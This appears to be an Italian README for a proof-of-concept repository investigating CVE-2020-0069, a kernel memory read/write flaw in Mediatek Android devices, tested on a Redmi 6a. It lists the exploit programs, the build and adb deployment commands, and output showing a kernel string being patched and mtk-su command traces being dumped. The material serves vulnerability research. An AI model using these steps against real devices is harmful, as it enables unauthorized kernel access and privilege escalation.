
Proof-of-concept exploit per CVE-2020-0069 su dispositivi Android Mediatek, che consente lettura/scrittura della memoria del kernel e hooking delle syscall per l'escalation dei privilegi.
Questo repository contiene i materiali che abbiamo utilizzato per investigare la CVE-2020-0069 su uno Xiaomi Redmi 6a (con un SoC Mediatek MT6762M).
Ci sono tre programmi:
kernel_rw.c un programma C che consente di leggere/scrivere la memoria del kernelpoc.sh uno script di shellsyscall_hook.c una libreria C che può essere utilizzata per tracciare il programma mtk-su (testata sulla versione 19)Per compilare i binari:
$ ndk-build
Poi trasferiscili sul dispositivo:
$ adb push poc.sh /data/local/tmp
$ adb push libs/armeabi-v7a/kernel_rw /data/local/tmp
$ adb push libs/armeabi-v7a/libsyscall_hook.so /data/local/tmp
$ uname -a
Linux localhost 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
$ sh poc.sh
[+] Found Linux string at 0x4180bc00
[+] Found Linux string at 0x4180bea0
[+] Write the patched value
$ uname -a
minix 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
$ mkdir mtk-su
$ LD_PRELOAD=./syscall_hook.so ./mtk-su
alloc failed
alloc count=400 startPA=0x53df4000
uncatched ioctl 40e07803
exec command (num 0) ( blockSize=8040, readAddress.count=0 ) dumped into cmd-0
exec command (num 1) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-1
exec command (num 2) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-2
[...]
$ cat mtksu/cmd-1
WFE to_wait=1, wait=1, to_update=1, update=0, event=1da
MOVE 40a68000 into reg 17
READ address reg 17, data reg b
MOVE startPA+0 into reg 17
WRITE address reg 17, data reg b
[...]